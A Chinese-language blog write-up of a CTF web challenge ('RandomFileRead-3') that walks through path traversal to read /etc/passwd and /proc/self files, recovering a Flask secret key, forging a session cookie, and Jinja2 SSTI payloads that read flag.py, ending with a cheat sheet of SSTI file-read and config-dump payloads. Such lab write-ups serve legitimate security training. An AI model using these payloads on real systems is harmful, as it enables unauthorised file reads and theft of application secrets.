RandomFileRead-3


RandomFileRead-3

部署环境

这里直接就是用 buuoj.cn 提供的环境了,不知道为什么我的 docekr 部署这个东西的时候无法访问,可能是除了一些问题。

思路 & 解题思路

访问环境,任意输入ls

  1. 网页将我们的输入值ls打印出来,可能存在模板注入
  2. 进一步进入article界面,测试flag,模板注入3
  3. 注意到输入为3时给出了路径,开始尝试路径穿越../../../../../../../etc/passwd,获得passwd文件值
  4. 利用/proc/self/environ获取当前程序的环境变量,猜测flag存在于/home/sssssserver/flag,但是还是显示无权限
  5. 利用/proc/self/cmdline获取当前程序命令行记录,发现python server.py命令,典型的使用了flask或Django
  6. 进一步利用/proc/self/cwd获取当前进程目录,通过/proc/self/cwd/server.py得到源码。在server.py中提到了key.pyflag.py,其内容如下。
  • key.py #!/usr/bin/python key = ‘Drmhze6EPcv0fN_81Bj-nA’
  • flag.py 由于server.py对带flag字符的参数过滤,所以没有得到文件内容
  1. 通过阅读源码关键部分,如果session['n1code']不存在或者n1code不在session中,我们填入的表单值会作为session['n1code']的值。
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None 
    if n1code is not None:
        n1code = n1code.replace(".", "").replace(
            "_", "").replace("{", "").replace("}", "")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
        template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session[
            'n1code']
        session['n1code'] = None
        return render_template_string(template)
  1. 然后下列语句会将session['n1code']的值打印出来。 重点在于我们需要构造session['n1code'],能让flag.py的值被打印出来
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
  1. 到这里时借用Wilson Sumanang, Alexandre ZANNI大佬的脚本。
  • 解密代码模式 python flask_session_cookie_hack.py decode -c {cookie} -s {secert_key}
  • 解密代码详情 python .\flask_session_cookie_hack.py decode -c eyJuMWNvZGUiOm51bGx9.X92dcQ.uupVCl_MiIFwJPSj4hnJTB6D5F4 -s Drmhze6EPcv0fN_81Bj-nA
  • 本session的cookie值
  • 执行解密脚本
  1. 然后把{'n1code': None}换成读文件flag.py的代码,加密回去 {'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[40](\'flag.py\').read()}}'}
  • 加密代码模式 python flask_session_cookie_hack.py encode -t {} -s {secert_key}
  • 加密代码详情 python .\flask_session_cookie_hack.py encode -t "{'n1code': '{{''.class.mro[2].subclasses()\[40]().read()}}'}" -s Drmhze6EPcv0fN_81Bj-nA
  1. 得到cookie值,修改网页cookie值,在表单填入任意值,完成对session['n1code']的修改,使得可以打印出flag.py的内容 eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdLl9fc3ViY2xhc3Nlc19fKClbNDBdKCdmbGFnLnB5JykucmVhZCgpfX0ifQ.X92fSQ.KKLJgd92Ymr6a29ENijcYidV1Mk
  2. 获得flag n1book{afr_3_solved}

总结

这道题究极费时费力,一个多月前第一次做的时候就不会,现在第二次做也还是不会,不过从当时的半知半解得到flag,到现在基本了解了整道题的原理和考点

  • 考察对flask、Django等web框架的cookie、session加解密知识
  • 考察../../../../../目录穿越
  • 考察目录穿越后获取信息的能力
    • /proc/self/environ 当前进程环境变量
    • /proc/self/cmdline 当前进程命令行,得到python server.py命令
    • /proc/self/cwd 当前进程工作目录,得到server.py源码,进而找出flask的cookie篡改漏洞。
  • 考察SSTI(模板注入) {'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[40](\'flag.py\').read()}}'}

SSTI常用命令

  • 读取文件内容1,()也可以为’’ {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['open']("/app/server.py").read()}}
  • 读取文件内容2 {{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
  • 获取配置 {{config.items()}}
  • 自身dict {{self.__dict__}}
  • 获取当前app配置 {{get_flashed_messages.__globals__['current_app'].config}}
  • \getitem\绕过[]** {{get_flashed_messages.__globals__.__getitem__('current_app').config}}
  • url_for减少字符长度 {{url_for.__globals__.__getitem__('current_app').config}}
  • **Tornado Web server的SSTI handler.settings

文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录